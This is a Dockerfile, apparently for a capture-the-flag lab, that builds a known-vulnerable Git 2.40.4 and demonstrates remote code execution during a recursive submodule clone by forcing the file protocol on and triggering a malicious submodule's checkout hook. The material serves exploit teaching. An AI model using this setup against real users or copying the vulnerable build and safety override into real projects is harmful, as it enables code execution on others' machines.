55 lines
1.6 KiB
Docker
55 lines
1.6 KiB
Docker
FROM ubuntu:24.04
|
|
|
|
ARG DEBIAN_FRONTEND=noninteractive
|
|
|
|
# Build and install a known-vulnerable Git (2.40.4) from source.
|
|
RUN apt-get update \
|
|
&& apt-get install -y --no-install-recommends \
|
|
ca-certificates \
|
|
build-essential \
|
|
curl \
|
|
xz-utils \
|
|
zlib1g-dev \
|
|
libssl-dev \
|
|
libcurl4-openssl-dev \
|
|
libexpat1-dev \
|
|
gettext \
|
|
tzdata \
|
|
&& rm -rf /var/lib/apt/lists/*
|
|
|
|
WORKDIR /tmp
|
|
RUN set -eux; \
|
|
curl -fsSL -o git.tar.xz "https://www.kernel.org/pub/software/scm/git/git-2.40.4.tar.xz"; \
|
|
tar -xf git.tar.xz; \
|
|
cd git-2.40.4; \
|
|
./configure --prefix=/usr/local; \
|
|
make -j"$(nproc)"; \
|
|
make install; \
|
|
git --version
|
|
|
|
# Create user and place a flag in their home
|
|
RUN useradd -m ctfuser \
|
|
&& echo "CTF{docker_build_flag_RCE_demo}" > /home/ctfuser/flag.txt \
|
|
&& chown -R ctfuser:ctfuser /home/ctfuser
|
|
|
|
# Copy this repo into the image
|
|
COPY . /home/ctfuser/work
|
|
RUN chown -R ctfuser:ctfuser /home/ctfuser/work
|
|
|
|
USER ctfuser
|
|
WORKDIR /home/ctfuser
|
|
|
|
# Demonstrate RCE during clone by using local sibling layout and the file protocol
|
|
RUN set -eux; \
|
|
rm -rf super malicious-submodule-repo victim; \
|
|
cp -a work super; \
|
|
cp -a work/malicious-submodule-repo ./; \
|
|
git -c protocol.file.allow=always clone --recurse-submodules ./super ./victim; \
|
|
# Force an extra checkout to ensure the post-checkout hook runs
|
|
git -C ./victim checkout -f HEAD || true; \
|
|
echo "== Build-time RCE demo complete =="; \
|
|
ls -la /tmp || true; \
|
|
[ -f /tmp/flag.txt ] && echo "Flag via RCE: $(cat /tmp/flag.txt)" || echo "Flag not found in /tmp"
|
|
|
|
CMD ["/bin/bash"]
|